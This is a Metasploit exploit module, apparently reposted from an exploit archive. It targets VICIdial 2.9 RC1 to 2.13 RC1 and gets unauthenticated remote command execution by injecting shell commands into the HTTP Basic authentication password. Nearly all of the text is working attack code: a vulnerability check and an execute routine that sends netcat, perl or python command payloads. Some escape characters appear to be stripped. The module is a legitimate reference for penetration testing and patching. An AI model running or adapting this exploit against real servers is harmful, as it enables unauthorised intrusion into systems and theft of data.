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VICIdial user_authorization Unauthenticated Command Execution

Posted on 22 July 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'VICIdial user_authorization Unauthenticated Command Execution',
'Description' => %q{
This module exploits a vulnerability in VICIdial versions
2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
to execute arbitrary operating system commands as the web
server user if password encryption is enabled (disabled
by default).

When password encryption is enabled the user's password
supplied using HTTP basic authentication is used in a call
to exec().

This module has been tested successfully on version 2.11 RC2
and 2.13 RC1 on CentOS.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
# HTTP Basic authentication password
'Space' => 2048,
# apostrophe ('), quote ("), semi-colon (;) and backslash ()
# are removed by preg_replace
'BadChars' => "x00x0Ax22x27x3Bx5C",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python netcat'
}
},
'Targets' => [[ 'Automatic Targeting', {} ]],
'Privileged' => false,
'DisclosureDate' => 'May 26 2017',
'DefaultTarget' => 0))
register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
deregister_options('USERNAME', 'PASSWORD')
end

def check
user = rand_text_alpha(rand(10) + 5)
pass = "#{rand_text_alpha(rand(10) + 5)}&#"
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
'authorization' => basic_auth(user, pass)

unless res
vprint_status 'Connection failed'
return CheckCode::Unknown
end

if res.code != 401
vprint_status "#{peer} Unexpected reply. Expected authentication failure."
return CheckCode::Safe
end

# Check for input filtering of '#' and '&' characters in password
# Response for invalid credentials is in the form of: |<username>|<password>|BAD|
if res.body !~ /|#{user}|#{pass}|BAD|/
vprint_status "#{peer} Target is patched."
return CheckCode::Safe
end

# Check for ../agc/bp.pl password encryption script
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
vprint_status "#{peer} Password encryption is supported, but may not be enabled."
return CheckCode::Appears
end

vprint_status "#{peer} Could not verify whether password encryption is supported."
CheckCode::Detected
end

def execute_command(cmd, opts = {})
user = rand_text_alpha(rand(10) + 5)
pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"

print_status "#{peer} Sending payload (#{cmd.length} bytes)"
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
'authorization' => basic_auth(user, pass)

if !res
fail_with(Failure::Unreachable, 'Connection failed')
elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
print_good "#{peer} Payload sent successfully"
else
fail_with(Failure::UnexpectedReply, 'Unexpected reply')
end
end

def exploit
execute_command(payload.encoded)
end
end

 

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